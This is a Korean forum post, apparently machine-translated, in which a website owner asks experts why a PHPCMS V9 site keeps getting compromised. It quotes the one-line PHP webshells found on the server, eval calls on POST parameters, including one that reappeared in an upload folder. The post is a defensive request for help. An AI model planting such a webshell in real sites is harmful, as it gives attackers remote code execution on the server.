웹사이트 프로그램이 Trojan [<?php eval($_POST[1]);?> ok]에 의해 침입되었습니다. 메커니즘을 찾는 데 도움을 주세요.
해커들의 공격이 빈번히 발생하고 있는 웹사이트입니다. 최대한 빨리 허점을 찾아 고민을 해결할 수 있도록 생각을 명확하게 하기 위해 PHP 전문가의 도움을 요청하고 있습니다!
이제 사건은 다음과 같이 설명됩니다.
1. 이 웹사이트는 PHPCMS_V9_5.20의 기본 버전을 사용하여 구축되었습니다.
2. 모든 파일은 처음에는 완전히 열린 권한으로 서버 루트 디렉터리에 저장됩니다.
3. 나중에 웹사이트가 해킹되어 api.php 및 index.php 항목 파일이 다시 작성되었습니다.
4. 이식된 바이러스 파일은 "One Sentence Trojan"입니다. 내용은 다음과 같습니다.
<?php @eval($_POST['dcs-19']);?>
<?php 
5. 문제를 발견한 후 삭제한 후 해당 파일의 권한을 잠그세요. 문제가 해결될 것이라고 생각하는 것입니다. 그런데 며칠 뒤 해당 웹사이트의 스냅샷이 하이재킹된 것을 발견해 다시 트로이목마를 확인해 본 결과, 해당 트로이목마 파일의 위치는 서버 루트 디렉토리의 uploadfile20170527 폴더에 있는 것으로 나타났습니다. . 이 파일은 첨부파일을 업로드하거나 백그라운드에서 기사를 업데이트할 때 날짜를 기준으로 자동 생성됩니다. 하지만 해당 글은 5월 27일 업데이트가 되지 않았으나, 해당 사이트 문제의 근본 원인 조사를 위해 전문가들의 도움을 요청하는 내용의 글이 게재됐다.
트로이 목마의 내용은 다음과 같습니다:
<?php eval($_POST[1]);?>
첨부: 인터넷에서 관련 내용을 확인해 보니 대부분 웹사이트 프로그램 취약점으로 인한 SQL 인젝션 공격이라고 했고, 취약점을 수정하라는 메시지가 떴는데 어떻게 수정해야 할까요? PHP 버전을 온라인으로 업그레이드하는 것이 유용합니까?
【
저는 기술적인 사람이 아니라서 이해가 안되는 부분이 많네요. 이해가 안되는 부분이 있으면 설명에 따라 Q&A에 추가하겠습니다!】
